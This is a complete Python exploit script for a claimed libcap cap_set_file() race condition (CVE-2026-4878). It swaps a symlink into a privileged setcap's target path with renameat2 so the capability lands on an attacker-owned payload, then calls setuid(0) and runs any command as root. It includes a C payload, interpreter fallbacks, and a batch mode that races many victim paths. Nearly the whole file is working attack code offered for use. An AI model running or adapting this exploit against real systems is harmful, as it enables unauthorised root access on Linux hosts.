...[ More ]

#!/usr/bin/env python3
    """
    CVE-2026-4878 - libcap cap_set_file() TOCTOU race condition
    Affected: libcap 2.04 through 2.77 inclusive (fixed in 2.78)
    Type: TOCTOU race (CWE-367) -> arbitrary file-capability write -> local privilege escalation
    
    Mechanism
    ---------
    cap_set_file() validates a path with lstat() and rejects it if the final component
    is a symlink, then writes the capability with setxattr() on the same *name*.
    The two syscalls resolve the name independently, and setxattr() - unlike its
    lsetxattr() sibling - follows symlinks. Nothing binds the checked inode to the
    written inode. An unprivileged user with write access to the parent directory can
    therefore swap a symlink into the victim's path between the check and the use, so
    a privileged `setcap` writes security.capability to a file the attacker chose.
    
    The exploit stages an attacker-owned ELF payload plus a symlink to it in the
    directory the privileged process writes into, spins
    renameat2(..., RENAME_EXCHANGE) so the victim's path alternates between the real
    regular file and the symlink, and waits for the privileged caller to land inside
    the window. The moment security.capability appears on the payload, the race is
    won: executing it as the unprivileged user gives CAP_SETUID in the permitted and
    effective sets, and setuid(0) yields root.
    
    This is a LOCAL vulnerability (CVSS AV:L). There is no network component and
    nothing to connect to: run this script ON the target host, as the unprivileged
    user who can write the directory a privileged `setcap` operates in. --host
    therefore only accepts a local designation, and --list takes victim *paths* on
    this host rather than remote hosts.
    
    Requirements on the target: Linux 3.15+ (renameat2), a filesystem that supports
    RENAME_EXCHANGE and stores security.capability (ext4/xfs/btrfs/overlayfs upper,
    not a nosuid mount), and CPython with ctypes. No compiler is required: if none is
    present the payload falls back to a copy of a local ELF interpreter.
    
    Usage:
      python3 exploit.py --host local --victim-path /srv/build/artifact
      python3 exploit.py --host local --victim-path /srv/build/artifact --command "id"
      python3 exploit.py --host local --victim-path /var/lib/ci/out/app --timeout 300 --spinners 4
      python3 exploit.py --list victim_paths.txt --workers 8 --timeout 60
    """
    
    import argparse
    import os
    import platform
    import signal
    import socket
    import struct
    import subprocess
    import sys
    import threading
    import time
    from urllib.parse import urlparse
    
    CVE_ID = "CVE-2026-4878"
    VULN_TYPE = "TOCTOU race -> local privilege escalation"
    
    XATTR_NAME_CAPS = "security.capability"
    AT_FDCWD = -100
    RENAME_EXCHANGE = 1 << 1
    
    # renameat2 syscall numbers, used only when glibc does not export the wrapper.
    # aarch64/riscv64/loongarch64 follow the asm-generic table (276).
    _SYS_RENAMEAT2 = {
        "x86_64": 316, "i386": 353, "i686": 353,
        "aarch64": 276, "arm64": 276, "riscv64": 276, "loongarch64": 276,
        "armv6l": 382, "armv7l": 382,
        "ppc64": 357, "ppc64le": 357,
        "s390x": 347,
    }
    
    _CAP_NAMES = [
        "chown", "dac_override", "dac_read_search", "fowner", "fsetid", "kill",
        "setgid", "setuid", "setpcap", "linux_immutable", "net_bind_service",
        "net_broadcast", "net_admin", "net_raw", "ipc_lock", "ipc_owner",
        "sys_module", "sys_rawio", "sys_chroot", "sys_ptrace", "sys_pacct",
        "sys_admin", "sys_boot", "sys_nice", "sys_resource", "sys_time",
        "sys_tty_config", "mknod", "lease", "audit_write", "audit_control",
        "setfcap", "mac_override", "mac_admin", "syslog", "wake_alarm",
        "block_suspend", "audit_read", "perfmon", "bpf", "checkpoint_restore",
    ]
    
    _LOCAL_NAMES = {"local", "localhost", "127.0.0.1", "::1", "0.0.0.0", "-"}
    
    
    # --------------------------------------------------------------------------
    # Output helpers
    # --------------------------------------------------------------------------
    
    def header(host: str, port: int) -> None:
        print(f"\n{'='*60}")
        print(f"  ALIM EXPLOIT  {CVE_ID}")
        print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
        print(f"{'='*60}\n")
    
    
    def step(n: int, msg: str) -> None:
        print(f"[STEP {n}] {msg}")
    
    
    def section(label: str, content: str) -> None:
        print(f"\n--- {label} ---")
        print(str(content).strip())
        print("---\n")
    
    
    def done(success: bool, evidence: str) -> None:
        print(f"\n{'='*60}")
        print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
        print(f"  EVIDENCE: {evidence}")
        print(f"{'='*60}\n")
        sys.exit(0 if success else 1)
    
    
    # --------------------------------------------------------------------------
    # Small portable helpers (no shutil: stripped-down interpreters lack it)
    # --------------------------------------------------------------------------
    
    def _which(name: str):
        for d in os.environ.get("PATH", "/usr/bin:/bin:/usr/sbin:/sbin").split(os.pathsep):
            if not d:
                continue
            cand = os.path.join(d, name)
            if os.path.isfile(cand) and os.access(cand, os.X_OK):
                return cand
        return None
    
    
    def _copy_file(src: str, dst: str, mode: int = 0o755) -> None:
        with open(src, "rb") as fin:
            data = fin.read(1 << 20)
            fd = os.open(dst, os.O_WRONLY | os.O_CREAT | os.O_EXCL, mode)
            try:
                while data:
                    os.write(fd, data)
                    data = fin.read(1 << 20)
            finally:
                os.close(fd)
        os.chmod(dst, mode)
    
    
    def _is_elf(path: str) -> bool:
        try:
            with open(path, "rb") as fh:
                return fh.read(4) == b"\x7fELF"
        except OSError:
            return False
    
    
    def _unlink_quiet(path: str) -> None:
        try:
            os.remove(path)
        except OSError:
            pass
    
    
    # --------------------------------------------------------------------------
    # renameat2(RENAME_EXCHANGE)
    # --------------------------------------------------------------------------
    
    def _renameat2_fn():
        """Return a callable fn(olddirfd, oldpath, newdirfd, newpath, flags) -> int."""
        import ctypes
    
        libc = None
        for cand in ("libc.so.6", None, "libc.so"):
            try:
                libc = ctypes.CDLL(cand, use_errno=True)
                break
            except OSError:
                continue
        if libc is None:
            raise RuntimeError("cannot load libc")
    
        if hasattr(libc, "renameat2"):
            fn = libc.renameat2
            fn.argtypes = [ctypes.c_int, ctypes.c_char_p, ctypes.c_int,
                           ctypes.c_char_p, ctypes.c_uint]
            fn.restype = ctypes.c_int
            return fn
    
        nr = _SYS_RENAMEAT2.get(platform.machine())
        if nr is None:
            raise RuntimeError(f"no renameat2 syscall number for {platform.machine()}")
        sc = libc.syscall
        sc.restype = ctypes.c_long
    
        def _raw(od, op, nd, np_, fl, _nr=nr, _sc=sc, _c=ctypes):
            return _sc(_c.c_long(_nr), _c.c_int(od), _c.c_char_p(op),
                       _c.c_int(nd), _c.c_char_p(np_), _c.c_uint(fl))
    
        return _raw
    
    
    def _exchange(fn, a: bytes, b: bytes) -> int:
        return fn(AT_FDCWD, a, AT_FDCWD, b, RENAME_EXCHANGE)
    
    
    # --------------------------------------------------------------------------
    # security.capability decoding
    # --------------------------------------------------------------------------
    
    def _decode_caps(blob: bytes):
        """Decode a vfs_cap_data blob -> (list_of_cap_names, effective_flag)."""
        if not blob or len(blob) < 12:
            return [], False
        magic = struct.unpack("<I", blob[0:4])[0]
        effective = bool(magic & 0x000000FF & 0x01)
        words = (len(blob) - 4) // 4
        vals = struct.unpack("<%dI" % words, blob[4:4 + words * 4])
        permitted = vals[0]
        if words >= 3:
            permitted |= vals[2] << 32
        names = []
        for bit in range(64):
            if permitted & (1 << bit):
                names.append(_CAP_NAMES[bit] if bit < len(_CAP_NAMES) else f"cap_{bit}")
        return names, effective
    
    
    def _read_caps(path: str) -> bytes:
        try:
            return os.getxattr(path, XATTR_NAME_CAPS)
        except OSError:
            return b""
    
    
    def _format_caps(names, effective) -> str:
        if not names:
            return "(none)"
        return ",".join("cap_" + n for n in names) + ("=ep" if effective else "=p")
    
    
    # --------------------------------------------------------------------------
    # Payload staging
    # --------------------------------------------------------------------------
    
    _PAYLOAD_C = r"""
    /* CVE-2026-4878 payload: runs with the file capability the race injected. */
    #define _GNU_SOURCE
    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
    
    int main(int argc, char **argv)
    {
        const char *cmd = (argc > 1) ? argv[1] : "id";
    
        if (setuid(0) != 0) {
            fprintf(stderr, "payload: setuid(0) failed - no CAP_SETUID in the "
                            "effective set on this file\n");
            return 1;
        }
        setgid(0);                     /* best effort, needs CAP_SETGID */
        execl("/bin/sh", "sh", "-c", cmd, (char *)NULL);
        perror("payload: execl");
        return 1;
    }
    """
    
    # Fallback when no compiler exists: a copy of a local ELF interpreter carries the
    # injected capability just as well, and can call setuid(0) from a one-liner.
    # File capabilities are ignored on "#!" scripts, so the copy must be a real ELF.
    _PAYLOAD_PY = (
        "import os,sys\n"
        "os.setuid(0)\n"
        "try: os.setgid(0)\n"
        "except OSError: pass\n"
        "os.execv('/bin/sh',['sh','-c',sys.argv[1]])\n"
    )
    
    _PAYLOAD_PL = (
        'POSIX::setuid(0) or die "setuid failed";'
        'exec("/bin/sh","-c",$ARGV[0]);'
    )
    
    
    def _stage_payload(payload_path: str):
        """Create a fresh attacker-owned ELF payload. Returns (kind, argv_prefix).
    
        Always recreated from scratch: an unprivileged user cannot remove
        security.capability from a file, so a leftover payload from an earlier run
        could be mistaken for a fresh win. Deleting and recreating guarantees the
        xattr starts empty.
        """
        _unlink_quiet(payload_path)
    
        cc = None
        for name in ("cc", "gcc", "clang", "tcc"):
            cc = _which(name)
            if cc:
                break
    
        if cc:
            src = payload_path + ".c"
            try:
                with open(src, "w") as fh:
                    fh.write(_PAYLOAD_C)
                proc = subprocess.run([cc, "-O1", "-w", "-o", payload_path, src],
                                      stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
                if proc.returncode == 0 and _is_elf(payload_path):
                    os.chmod(payload_path, 0o755)
                    return "elf", [payload_path]
                _unlink_quiet(payload_path)
            except OSError:
                pass
            finally:
                _unlink_quiet(src)
    
        # No usable compiler: copy an ELF interpreter instead.
        candidates = []
        exe = os.path.realpath(sys.executable) if sys.executable else None
        if exe:
            candidates.append((exe, "py"))
        for name in ("python3", "python", "perl"):
            p = _which(name)
            if p:
                candidates.append((os.path.realpath(p), "pl" if name == "perl" else "py"))
    
        for path, kind in candidates:
            if not _is_elf(path):
                continue  # a "#!" wrapper would never carry file capabilities
            try:
                _copy_file(path, payload_path, 0o755)
            except OSError:
                continue
            if kind == "py":
                return "interp", [payload_path, "-c", _PAYLOAD_PY]
            return "interp", [payload_path, "-MPOSIX", "-e", _PAYLOAD_PL]
    
        raise RuntimeError("no compiler and no ELF interpreter available to stage a payload")
    
    
    def _run_payload(argv_prefix, command: str):
        proc = subprocess.run(argv_prefix + [command],
                              stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
        return proc.returncode, proc.stdout.decode("utf-8", "replace")
    
    
    def _verify_root(argv_prefix):
        """Run `id` through the payload. Tolerates a minimal or broken PATH."""
        last = (1, "")
        for cmd in ("id", "/usr/bin/id", "/bin/id"):
            rc, out = _run_payload(argv_prefix, cmd)
            if "uid=" in out:
                return rc, out
            last = (rc, out)
        return last
    
    
    # --------------------------------------------------------------------------
    # The race
    # --------------------------------------------------------------------------
    
    def _spin_child(wfd: int, fn, victim: bytes, stage: bytes) -> None:
        """Child process: exchange the two names as fast as possible until SIGTERM."""
        running = [True]
    
        def _stop(_sig, _frm):
            running[0] = False
    
        signal.signal(signal.SIGTERM, _stop)
        signal.signal(signal.SIGINT, signal.SIG_IGN)
    
        count = 0
        fdcwd, flags = AT_FDCWD, RENAME_EXCHANGE
        try:
            while running[0]:
                for _ in range(2048):
                    fn(fdcwd, victim, fdcwd, stage, flags)
                count += 2048
        except BaseException:
            pass
        try:
            os.write(wfd, str(count).encode())
        except OSError:
            pass
        os._exit(0)
    
    
    def _start_spinners(n: int, fn, victim: str, stage: str):
        children = []
        vb, sb = victim.encode(), stage.encode()
        for _ in range(n):
            rfd, wfd = os.pipe()
            pid = os.fork()
            if pid == 0:
                os.close(rfd)
                _spin_child(wfd, fn, vb, sb)
            os.close(wfd)
            children.append((pid, rfd))
        return children
    
    
    def _stop_spinners(children) -> int:
        total = 0
        for pid, _ in children:
            try:
                os.kill(pid, signal.SIGTERM)
            except OSError:
                pass
        for pid, rfd in children:
            try:
                data = os.read(rfd, 64)
                total += int(data or b"0")
            except (OSError, ValueError):
                pass
            try:
                os.close(rfd)
            except OSError:
                pass
            try:
                os.waitpid(pid, 0)
            except OSError:
                pass
        return total
    
    
    def _restore(fn, victim: str, stage: str) -> None:
        """Put the real regular file back at the victim path and drop the symlink.
    
        A spin loop stopped at the wrong instant leaves the two names swapped, so
        the victim's path stays a symlink and every subsequent setcap fails EINVAL.
        That is both noisy and self-defeating, so always unwind it.
        """
        try:
            if os.path.islink(victim) and not os.path.islink(stage):
                _exchange(fn, victim.encode(), stage.encode())
        except OSError:
            pass
        try:
            if os.path.islink(stage):
                os.remove(stage)
        except OSError:
            pass
    
    
    def _preflight(victim_path: str):
        """Check the preconditions. Returns (ok, message, arena_dir)."""
        arena = os.path.dirname(os.path.abspath(victim_path)) or "."
        if not os.path.isdir(arena):
            return False, f"directory {arena} does not exist", arena
        if not os.access(arena, os.W_OK | os.X_OK):
            return False, f"no write access to {arena} (the whole privilege requirement)", arena
    
        # RENAME_EXCHANGE support, tested in the arena itself so it covers the real
        # filesystem rather than /tmp.
        try:
            fn = _renameat2_fn()
        except Exception as exc:
            return False, f"renameat2 unavailable ({exc})", arena
    
        a = os.path.join(arena, ".rx-probe-a.%d" % os.getpid())
        b = os.path.join(arena, ".rx-probe-b.%d" % os.getpid())
        try:
            with open(a, "wb") as fh:
                fh.write(b"probe")
            os.symlink("/dev/null", b)
            rc = _exchange(fn, a.encode(), b.encode())
        except OSError as exc:
            _unlink_quiet(a)
            _unlink_quiet(b)
            return False, f"cannot stage entries in {arena} ({exc.strerror})", arena
        finally:
            pass
        _unlink_quiet(a)
        _unlink_quiet(b)
        if rc != 0:
            return False, f"filesystem at {arena} does not support RENAME_EXCHANGE", arena
        return True, "ok", arena
    
    
    def _race(victim_path: str, payload_path: str, timeout: float, spinners: int,
              progress=None):
        """Run the race. Returns a result dict. Never prints, never exits."""
        result = {
            "won": False, "reason": "", "caps": "", "cap_names": [], "effective": False,
            "swaps": 0, "elapsed": 0.0, "victim_seen": False, "payload_kind": "",
            "argv": None, "arena": "",
        }
    
        ok, msg, arena = _preflight(victim_path)
        result["arena"] = arena
        if not ok:
            result["reason"] = msg
            return result
    
        fn = _renameat2_fn()
    
        kind, argv = _stage_payload(payload_path)
        result["payload_kind"] = kind
        result["argv"] = argv
    
        if _read_caps(payload_path):
            result["reason"] = "payload already carries security.capability before the race"
            return result
    
        # The victim path must exist and be a regular file: RENAME_EXCHANGE needs
        # both names present. In a real engagement the privileged process is
        # already operating on it; create it only if it is missing.
        if not os.path.lexists(victim_path):
            try:
                with open(victim_path, "wb") as fh:
                    fh.write(b"build output\n")
                os.chmod(victim_path, 0o755)
            except OSError as exc:
                result["reason"] = f"victim path {victim_path} missing and not creatable ({exc.strerror})"
                return result
    
        stage_path = os.path.join(arena, ".%s.%d" % (os.path.basename(victim_path), os.getpid()))
        _unlink_quiet(stage_path)
        try:
            os.symlink(payload_path, stage_path)
        except OSError as exc:
            result["reason"] = f"cannot stage symlink in {arena} ({exc.strerror})"
            return result
    
        children = _start_spinners(spinners, fn, victim_path, stage_path)
        start = time.time()
        deadline = start + timeout
        last_progress = start
        blob = b""
        try:
            while time.time() < deadline:
                blob = _read_caps(payload_path)
                if blob:
                    result["won"] = True
                    break
                # Liveness: once the privileged caller has run at all, the real
                # artifact carries a capability. Distinguishes "race lost" from
                # "no victim is running".
                if not result["victim_seen"]:
                    for cand in (victim_path, stage_path):
                        try:
                            if not os.path.islink(cand) and _read_caps(cand):
                                result["victim_seen"] = True
                                break
                        except OSError:
                            pass
                now = time.time()
                if progress and now - last_progress >= 5.0:
                    progress(now - start, result["victim_seen"])
                    last_progress = now
                time.sleep(0.001)
        finally:
            result["swaps"] = _stop_spinners(children)
            result["elapsed"] = time.time() - start
            _restore(fn, victim_path, stage_path)
    
        if result["won"]:
            blob = blob or _read_caps(payload_path)
            names, eff = _decode_caps(blob)
            result["cap_names"] = names
            result["effective"] = eff
            result["caps"] = _format_caps(names, eff)
        elif not result["reason"]:
            if result["victim_seen"]:
                result["reason"] = ("race not won within timeout (victim activity was "
                                    "observed - keep going or raise --timeout)")
            else:
                result["reason"] = ("no privileged setcap activity observed on the victim "
                                    "path - target may be patched, or no victim is running")
        return result
    
    
    # --------------------------------------------------------------------------
    # Scan mode
    # --------------------------------------------------------------------------
    
    def _try_exploit(victim_path: str, command: str = "id", timeout: float = 60.0,
                     spinners: int = 2) -> tuple:
        """Silent probe for --list mode. Returns (success, evidence). Never prints."""
        payload_path = os.path.join(
            os.path.expanduser("~"), ".cache-%d-%d" % (os.getpid(), abs(hash(victim_path)) % 100000))
        try:
            res = _race(victim_path, payload_path, timeout, spinners)
        except Exception as exc:
            return False, f"error ({exc.__class__.__name__}: {exc})"
        try:
            if not res["won"]:
                return False, res["reason"]
            if "setuid" not in res["cap_names"] or not res["effective"]:
                return True, f"capability injected: {res['caps']} (no effective CAP_SETUID, no direct root)"
            rc, out = _verify_root(res["argv"])
            line = ""
            for ln in out.splitlines():
                if "uid=" in ln:
                    line = ln.strip()
                    break
            if "uid=0" in out:
                if command.strip() != "id":
                    _run_payload(res["argv"], command)
                return True, f"root via {res['caps']} in {res['elapsed']:.1f}s - {line or out.strip()[:60]}"
            return True, f"capability injected: {res['caps']} but payload did not reach uid 0"
        finally:
            _unlink_quiet(payload_path)
    
    
    def _parse_target(line: str, default_port: int, default_path: str = "/"):
        """One target line -> (host, port, use_tls, path), or None to skip.
    
        Kept in the standard shape so --host accepts a bare host, host:port or a
        full URL. For this CVE the host must designate the local machine.
        """
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        if line.startswith(("http://", "https://")):
            p = urlparse(line)
            tls = p.scheme == "https"
            path = p.path if (p.path and p.path not in ("", "/")) else default_path
            return p.hostname, p.port or (443 if tls else default_port), tls, path
        if ":" in line:
            parts = line.rsplit(":", 1)
            try:
                port = int(parts[1])
                return parts[0], port, port in (443, 8443), default_path
            except ValueError:
                pass
        return line, default_port, default_port in (443, 8443), default_path
    
    
    def _parse_list_entry(line: str):
        """One --list line -> a victim path on this host, or None to skip.
    
        --list carries filesystem paths rather than hosts: CVE-2026-4878 is AV:L and
        an exploit for it cannot reach another machine.
        """
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        return line
    
    
    def _is_local(host: str) -> bool:
        if not host:
            return True
        h = host.strip().lower()
        if h in _LOCAL_NAMES:
            return True
        try:
            if h in (socket.gethostname().lower(), socket.getfqdn().lower()):
                return True
        except OSError:
            pass
        return False
    
    
    def scan(targets_file: str, workers: int = 10, command: str = "id",
             timeout: float = 60.0, spinners: int = 2) -> None:
        """Batch mode: race every victim path listed in the file, concurrently."""
        with open(targets_file) as fh:
            targets = [_parse_list_entry(ln) for ln in fh]
        targets = [t for t in targets if t is not None]
    
        print(f"\n{'='*60}")
        print(f"  {CVE_ID} - Batch Scan  ({len(targets)} paths, {workers} workers)")
        print(f"  Local victim paths, {timeout:.0f}s race budget each")
        print(f"{'='*60}\n")
    
        if not targets:
            print("  (no targets in file)\n")
            sys.exit(1)
    
        # threading rather than concurrent.futures: minimal CPython installs
        # (python3-minimal and friends) ship without concurrent.futures, and this
        # script has to run on whatever interpreter the target happens to have.
        lock = threading.Lock()
        cursor = [0]
        successes = [0]
    
        def worker():
            while True:
                with lock:
                    if cursor[0] >= len(targets):
                        return
                    target = targets[cursor[0]]
                    cursor[0] += 1
                ok, evidence = _try_exploit(target, command=command, timeout=timeout,
                                            spinners=spinners)
                with lock:
                    mark = "[+]" if ok else "[-]"
                    verdict = "Exploited" if ok else "Not vulnerable"
                    print(f"  {mark} {target} - {verdict}: {evidence}")
                    if ok:
                        successes[0] += 1
    
        threads = [threading.Thread(target=worker)
                   for _ in range(max(1, min(workers, len(targets))))]
        for t in threads:
            t.start()
        for t in threads:
            t.join()
    
        total = len(targets)
        print(f"\n{'='*60}")
        print(f"  SCAN COMPLETE  {successes[0]} exploited / {total - successes[0]} not vulnerable  ({total} total)")
        print(f"{'='*60}\n")
        sys.exit(0 if successes[0] > 0 else 1)
    
    
    # --------------------------------------------------------------------------
    # Single target
    # --------------------------------------------------------------------------
    
    def exploit(host: str, port: int, victim_path: str, payload_path: str,
                command: str, timeout: float, spinners: int) -> None:
        header(host, port)
    
        if os.name != "posix" or platform.system() != "Linux":
            done(False, f"target OS is {platform.system()}, not Linux - file capabilities do not exist here")
    
        step(1, f"Preflight on victim path {victim_path}")
        ok, msg, arena = _preflight(victim_path)
        print(f"        arena directory : {arena}")
        print(f"        running as      : uid={os.getuid()} gid={os.getgid()}")
        print(f"        kernel          : {platform.release()} ({platform.machine()})")
        if not ok:
            section("PREFLIGHT", msg)
            done(False, f"preconditions not met - {msg}")
        print("        RENAME_EXCHANGE : supported")
    
        if os.getuid() == 0:
            print("        note            : already uid 0, this only demonstrates the primitive")
    
        step(2, f"Staging attacker-owned payload at {payload_path}")
    
        def _progress(elapsed, victim_seen):
            seen = "victim activity seen" if victim_seen else "no victim activity yet"
            print(f"        ... {elapsed:.0f}s elapsed, racing ({seen})")
    
        step(3, f"Spinning renameat2(RENAME_EXCHANGE) with {spinners} process(es)")
        step(4, f"Waiting for a privileged cap_set_file() to land in the window (timeout {timeout:.0f}s)")
    
        try:
            res = _race(victim_path, payload_path, timeout, spinners, progress=_progress)
        except Exception as exc:
            done(False, f"exploit error: {exc.__class__.__name__}: {exc}")
    
        rate = (res["swaps"] / res["elapsed"]) if res["elapsed"] > 0 else 0.0
        stats = (f"payload      : {payload_path} ({res['payload_kind']})\n"
                 f"elapsed      : {res['elapsed']:.1f}s\n"
                 f"swaps issued : {res['swaps']} ({rate:,.0f}/s across {spinners} process(es))\n"
                 f"victim seen  : {res['victim_seen']}")
        section("RACE STATISTICS", stats)
    
        if not res["won"]:
            _unlink_quiet(payload_path)
            done(False, f"race not won - {res['reason']}")
    
        step(5, "Capability injected - decoding security.capability on the payload")
        section("INJECTED FILE CAPABILITY",
                f"{payload_path} {res['caps']}\n"
                f"owner: uid={os.stat(payload_path).st_uid}  "
                f"(root never named this file; it wrote to {victim_path})")
    
        if "setuid" not in res["cap_names"] or not res["effective"]:
            done(True, f"Arbitrary file-capability write confirmed - root wrote {res['caps']} "
                       f"to attacker-owned {payload_path} via the TOCTOU race "
                       f"(no effective CAP_SETUID, so no direct uid 0 from this capability)")
    
        step(6, "Executing the payload as the unprivileged user")
        rc, id_out = _verify_root(res["argv"])
        section("PRIVILEGE CHECK (id)", id_out or "(no output)")
    
        if "uid=0" not in id_out:
            done(False, f"capability {res['caps']} landed on the payload but setuid(0) "
                        f"did not yield uid 0 (rc={rc}) - check the process bounding set")
    
        uid_line = ""
        for ln in id_out.splitlines():
            if "uid=" in ln:
                uid_line = ln.strip()
                break
    
        out = id_out
        if command.strip() != "id":
            step(7, f"Running --command as root: {command}")
            rc, out = _run_payload(res["argv"], command)
        section("COMMAND OUTPUT", out or "(no output)")
    
        done(True, f"Local privilege escalation confirmed - won the cap_set_file() TOCTOU race "
                   f"in {res['elapsed']:.1f}s ({res['swaps']} swaps), root injected {res['caps']} "
                   f"into attacker-owned {payload_path}, executed as uid {os.getuid()} -> {uid_line}")
    
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(
            description=f"{CVE_ID} exploit PoC - libcap cap_set_file() TOCTOU local privesc")
        target_grp = parser.add_mutually_exclusive_group(required=True)
        target_grp.add_argument("--host",
                                help="Target host. This CVE is local (AV:L): only a local "
                                     "designation is accepted (local, localhost, 127.0.0.1, "
                                     "this machine's hostname)")
        target_grp.add_argument("--list", metavar="FILE",
                                help="File with one victim PATH per line for batch mode "
                                     "(paths on this host, not remote hosts)")
        parser.add_argument("--port", type=int, default=0,
                            help="Accepted for interface compatibility; unused (no network component)")
        parser.add_argument("--victim-path",
                            help="Path a privileged process passes to cap_set_file()/setcap, "
                                 "inside a directory this user can write (e.g. /srv/build/artifact)")
        parser.add_argument("--payload-path", default=os.path.join(os.path.expanduser("~"), ".pwn"),
                            help="Where to stage the attacker-owned ELF payload (default: ~/.pwn)")
        parser.add_argument("--command", default="id",
                            help="Command to execute as root once the race is won (default: id)")
        parser.add_argument("--timeout", type=float, default=120.0,
                            help="Seconds to keep racing before giving up (default: 120)")
        parser.add_argument("--spinners", type=int, default=2,
                            help="Parallel renameat2 spinner processes (default: 2)")
        parser.add_argument("--workers", type=int, default=10,
                            help="Threads for --list mode (default: 10)")
        tls_grp = parser.add_mutually_exclusive_group()
        tls_grp.add_argument("--tls", action="store_true", help="Accepted for interface compatibility; unused")
        tls_grp.add_argument("--no-tls", action="store_true", help="Accepted for interface compatibility; unused")
        args = parser.parse_args()
    
        if args.list:
            scan(args.list, workers=args.workers, command=args.command,
                 timeout=args.timeout, spinners=args.spinners)
        else:
            parsed = _parse_target(args.host, args.port)
            host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
            if not _is_local(host):
                done(False, f"{CVE_ID} is a local vulnerability (CVSS AV:L) - there is nothing "
                            f"to reach over the network. Run this script on '{host}' itself, as "
                            f"the unprivileged user who can write the target directory.")
            if not args.victim_path:
                done(False, "--victim-path is required: give the path a privileged process "
                            "passes to setcap/cap_set_file() (e.g. --victim-path /srv/build/artifact)")
            exploit(host, port, args.victim_path, args.payload_path,
                    args.command, args.timeout, max(1, args.spinners))